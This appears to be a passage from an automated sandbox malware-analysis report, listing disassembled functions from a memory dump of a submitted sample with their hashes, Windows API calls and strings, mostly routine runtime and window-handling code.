                                                                                                                                                        • Opcode Fuzzy Hash: f16634c4b9264c70abed99b82fc70dcefb51265c6dada10e8ab4674d81f053ef
                                                                                                                                                        • Instruction Fuzzy Hash: 5F615C31630708E6EE344AAC4896BFE7398FF55784F58341AE883EF282D651DD428779
                                                                                                                                                        Function 00DBBEA7 Relevance: .2, Instructions: 214COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
                                                                                                                                                        • Instruction ID: 3fb25707a6c4666da267d299a1380f8cd2cac5657d4695cd00377d0556273778
                                                                                                                                                        • Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
                                                                                                                                                        • Instruction Fuzzy Hash: C0517621610749DAEF3499298896BFE2B95EF0A320F1C050BF983CB692C7C6DD05C731
                                                                                                                                                        Function 00DA4D32 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 604aad36328b5de298373c62c13915574edbafa29f0b949ef2efb9759d32478d
                                                                                                                                                        • Instruction ID: 4aefcea6933f221d5c471704798e5438dff7ba5e3695af3c3c1c5b53f12df146
                                                                                                                                                        • Opcode Fuzzy Hash: 604aad36328b5de298373c62c13915574edbafa29f0b949ef2efb9759d32478d
                                                                                                                                                        • Instruction Fuzzy Hash: C751E1315083954FC711DF28C5505AEFFE0AFDA214F4A499AE0D59B242D261DB4ACB72
                                                                                                                                                        Function 00DA5F0B Relevance: .1, Instructions: 148COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 5c6bd372a2bdf371389c9cbfc9e580e61287e994b9374b4c1e05999dae51e5e2
                                                                                                                                                        • Instruction ID: 0cd7b549185ad96b1cda34dd0a77b454b9d9e25d5b9247c057abdd891aa8bd48
                                                                                                                                                        • Opcode Fuzzy Hash: 5c6bd372a2bdf371389c9cbfc9e580e61287e994b9374b4c1e05999dae51e5e2
                                                                                                                                                        • Instruction Fuzzy Hash: 3A51DCB2A087119FC758CF29D48055AF7E1FF88314F058A2EF899E7340DB30E9598B96
                                                                                                                                                        Function 00DAA008 Relevance: .1, Instructions: 112COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 05051f28e1c7025b01332903b260566e0dad3863efea20ce7ce926dc4f85ab64
                                                                                                                                                        • Instruction ID: a1cd45fb32bc24d4f011aad2db4d62cdb064e617e5cfcbea15d8082642700751
                                                                                                                                                        • Opcode Fuzzy Hash: 05051f28e1c7025b01332903b260566e0dad3863efea20ce7ce926dc4f85ab64
                                                                                                                                                        • Instruction Fuzzy Hash: 5F31FEB16047069FCB14DF28C85166ABBE0EB96314F144A2DE4DAC3342C339E849CBB2
                                                                                                                                                        Function 00D97CBA Relevance: .1, Instructions: 106COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: df13c561cf512fd72e314f0c8c275dfb4e9792f9b659da3cf5682587dc4af2d2
                                                                                                                                                        • Instruction ID: d50fd4b113d70dea2049e66b9d941317774e46608553da4f89346f8db006475f
                                                                                                                                                        • Opcode Fuzzy Hash: df13c561cf512fd72e314f0c8c275dfb4e9792f9b659da3cf5682587dc4af2d2
                                                                                                                                                        • Instruction Fuzzy Hash: 4D41E470515B11CFC71ADF38D5959A6B7E4FF4A700B1248AFD06A8B231EB30EA04DB69
                                                                                                                                                        Function 00DB92D0 Relevance: .1, Instructions: 76COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                                                                                        • Instruction ID: 4b73fcec4ab52c1ec236f3e600babe1c9937ccb8420579840722db5e4f7d4215
                                                                                                                                                        • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                                                                                        • Instruction Fuzzy Hash: 4A112B772441D2C3D6148A3ED4B46FBE3D5EBC632076C437AD3534B7E8D222E9459920
                                                                                                                                                        Function 00DA3EAA Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 240COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _swprintf.LIBCMT ref: 00DA3EEA
                                                                                                                                                          • Part of subcall function 00D9F6BA: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D9F6CD
                                                                                                                                                          • Part of subcall function 00DA89ED: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000050,?,00000000,00000000,00DDE088,?,00000007,00DA33E2,?,?,00000050,D8943D1D), ref: 00DA8A0A
                                                                                                                                                        • _strlen.LIBCMT ref: 00DA3F0B
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00DD919C,?), ref: 00DA3F64
                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00DA3F9A
                                                                                                                                                        • GetClientRect.USER32(?,?), ref: 00DA3FA6
                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00DA4051
                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00DA4081
                                                                                                                                                        • SetWindowTextW.USER32(?,?), ref: 00DA40B0
                                                                                                                                                        • GetSystemMetrics.USER32(00000008), ref: 00DA40B8
                                                                                                                                                        • GetWindow.USER32(?,00000005), ref: 00DA40C3
                                                                                                                                                        • GetWindowRect.USER32(00000000,?), ref: 00DA40F3
                                                                                                                                                        • GetWindow.USER32(00000000,00000002), ref: 00DA4165
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
                                                                                                                                                        • String ID: $%s:$CAPTION$d
                                                                                                                                                        • API String ID: 2407758923-2512411981
                                                                                                                                                        • Opcode ID: f6bf657b3ba24e9b79a55f2ca532f66dbf4b8e6e3e53c1701472143bcb0f9b44
                                                                                                                                                        • Instruction ID: 0dbf37e8c111bfae1fcb557bd314c8a5830f88f6172e0102ccae148f97caa329
                                                                                                                                                        • Opcode Fuzzy Hash: f6bf657b3ba24e9b79a55f2ca532f66dbf4b8e6e3e53c1701472143bcb0f9b44
                                                                                                                                                        • Instruction Fuzzy Hash: 5A81BC72608341AFD710DF68CD89A6FBBE9EBC9704F00191DFA85D7250D770E8098B62
                                                                                                                                                        Function 00DB61A7 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 58libraryloaderCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • InitializeCriticalSectionAndSpinCount.KERNEL32(00DE60E0,00000FA0,?,?,00DB6185), ref: 00DB61B3
                                                                                                                                                        • GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00DB6185), ref: 00DB61BE
                                                                                                                                                        • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00DB6185), ref: 00DB61CF
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00DB61E1
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00DB61EF
                                                                                                                                                        • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00DB6185), ref: 00DB6212
                                                                                                                                                        • DeleteCriticalSection.KERNEL32(00DE60E0,00000007,?,?,00DB6185), ref: 00DB6235
                                                                                                                                                        • CloseHandle.KERNEL32(00000000,?,?,00DB6185), ref: 00DB6245
                                                                                                                                                        Strings
                                                                                                                                                        • WakeAllConditionVariable, xrefs: 00DB61E7
                                                                                                                                                        • SleepConditionVariableCS, xrefs: 00DB61DB
                                                                                                                                                        • api-ms-win-core-synch-l1-2-0.dll, xrefs: 00DB61B9
                                                                                                                                                        • kernel32.dll, xrefs: 00DB61CA
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
                                                                                                                                                        • String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                                                                                                                        • API String ID: 2565136772-3242537097
                                                                                                                                                        • Opcode ID: 22aefd4367f940767a6d1b085a26ca84b73f2f499fd7b210b277bc64fa77c9fa
                                                                                                                                                        • Instruction ID: 7d9bbc21f2e399a8b72dea431d22f57833e29208a0373108477c2445c07aab6c
                                                                                                                                                        • Opcode Fuzzy Hash: 22aefd4367f940767a6d1b085a26ca84b73f2f499fd7b210b277bc64fa77c9fa
                                                                                                                                                        • Instruction Fuzzy Hash: CE01A775E50763EFDB212B76AC0DF9A3A68EB54B817084415FA1AD7350EA78C8019A70
                                                                                                                                                        Function 00DC37D2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___free_lconv_mon.LIBCMT ref: 00DC3816
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC33CE
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC33E0
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC33F2
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC3404
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC3416
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC3428
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC343A
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC344C
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC345E
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC3470
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC3482
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC3494
                                                                                                                                                          • Part of subcall function 00DC33B1: _free.LIBCMT ref: 00DC34A6
                                                                                                                                                        • _free.LIBCMT ref: 00DC380B
                                                                                                                                                          • Part of subcall function 00DC03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?), ref: 00DC03EA
                                                                                                                                                          • Part of subcall function 00DC03D4: GetLastError.KERNEL32(?,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?,?), ref: 00DC03FC
                                                                                                                                                        • _free.LIBCMT ref: 00DC382D
                                                                                                                                                        • _free.LIBCMT ref: 00DC3842
                                                                                                                                                        • _free.LIBCMT ref: 00DC384D
                                                                                                                                                        • _free.LIBCMT ref: 00DC386F
                                                                                                                                                        • _free.LIBCMT ref: 00DC3882
                                                                                                                                                        • _free.LIBCMT ref: 00DC3890
                                                                                                                                                        • _free.LIBCMT ref: 00DC389B
                                                                                                                                                        • _free.LIBCMT ref: 00DC38D3
                                                                                                                                                        • _free.LIBCMT ref: 00DC38DA
                                                                                                                                                        • _free.LIBCMT ref: 00DC38F7
                                                                                                                                                        • _free.LIBCMT ref: 00DC390F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 161543041-0
                                                                                                                                                        • Opcode ID: ff8f906d12d657c09b19e60bafa4bfd4ceb78794b704377e4b93f59acf357f50
                                                                                                                                                        • Instruction ID: 4cfcf7766ec240f5e8e51db42d4ea86aa0282e4d8abeace32dc58ed14f3b7147
                                                                                                                                                        • Opcode Fuzzy Hash: ff8f906d12d657c09b19e60bafa4bfd4ceb78794b704377e4b93f59acf357f50
                                                                                                                                                        • Instruction Fuzzy Hash: A1315C31604346DFEB25AA79E845F5AB7E9EF00310F18842DF458E7251DEB2AE44CB70
                                                                                                                                                        Function 00DAD912 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 157memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DAD919
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DAD97B
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DAD99A
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DAD9B6
                                                                                                                                                        • _strlen.LIBCMT ref: 00DADA14
                                                                                                                                                        • GlobalAlloc.KERNEL32(00000040,?,00000000,00DCD9F0,00000000,?,00000000,?,<html>,00000006,<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>,?), ref: 00DADA2D
                                                                                                                                                        • CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00DADA54
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _wcslen$Global$AllocCreateH_prolog3_Stream_strlen
                                                                                                                                                        • String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
                                                                                                                                                        • API String ID: 1185167184-1533471033
                                                                                                                                                        • Opcode ID: 767b20f0eeb934fe7e0c9d27497da12a3366e46367e4e9f9674c91f8cd9b4cb2
                                                                                                                                                        • Instruction ID: 387e5cb6fb2ad923ad278df0155ebe4ea931ec879037a19f1051c571e5436fc1
                                                                                                                                                        • Opcode Fuzzy Hash: 767b20f0eeb934fe7e0c9d27497da12a3366e46367e4e9f9674c91f8cd9b4cb2
                                                                                                                                                        • Instruction Fuzzy Hash: 6E511F75D10219AFEB04EBA4CC46FEEBBBAEF15310F140019E506AB185DB709E45CBB5
                                                                                                                                                        Function 00DB3796 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetWindow.USER32(?,00000005), ref: 00DB37C4
                                                                                                                                                        • GetClassNameW.USER32(00000000,?,00000080), ref: 00DB37F0
                                                                                                                                                          • Part of subcall function 00DA8DA4: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,000000FF,00DA0E3F,?,?,?,00000046,00DA1ECE,00000046,?,exe,00000046), ref: 00DA8DBA
                                                                                                                                                        • GetWindowLongW.USER32(00000000,000000F0), ref: 00DB380C
                                                                                                                                                        • SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00DB3823
                                                                                                                                                        • GetObjectW.GDI32(00000000,00000018,?), ref: 00DB3837
                                                                                                                                                        • SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00DB3860
                                                                                                                                                        • DeleteObject.GDI32(00000000), ref: 00DB3867
                                                                                                                                                        • GetWindow.USER32(00000000,00000002), ref: 00DB3870
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
                                                                                                                                                        • String ID: STATIC
                                                                                                                                                        • API String ID: 3820355801-1882779555
                                                                                                                                                        • Opcode ID: 21d184c0326ca5670b85d12427dc9d35ddb59d02ad3d321c5e4fe2f683198cd1
                                                                                                                                                        • Instruction ID: 621145f5a439aa9965a380c792be0af21e91f40aa96540db354e57ed2f433e58
                                                                                                                                                        • Opcode Fuzzy Hash: 21d184c0326ca5670b85d12427dc9d35ddb59d02ad3d321c5e4fe2f683198cd1
                                                                                                                                                        • Instruction Fuzzy Hash: 49210472244750BFE621BB24DC8AFEF77ACEF45710F040525FA02EA2D1DB30990696B6
                                                                                                                                                        Function 00DBFF11 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF25
                                                                                                                                                          • Part of subcall function 00DC03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?), ref: 00DC03EA
                                                                                                                                                          • Part of subcall function 00DC03D4: GetLastError.KERNEL32(?,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?,?), ref: 00DC03FC
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF31
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF3C
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF47
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF52
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF5D
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF68
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF73
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF7E
                                                                                                                                                        • _free.LIBCMT ref: 00DBFF8C
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 776569668-0
                                                                                                                                                        • Opcode ID: 732b472b58f54047d591b08ff4e33f70717e0caac74b8e1bfd4a470864655545
                                                                                                                                                        • Instruction ID: 7c01a277b70ce181f8d6c331ad946268dfaab92b700d101c5488ba1c5b8a1a63
                                                                                                                                                        • Opcode Fuzzy Hash: 732b472b58f54047d591b08ff4e33f70717e0caac74b8e1bfd4a470864655545
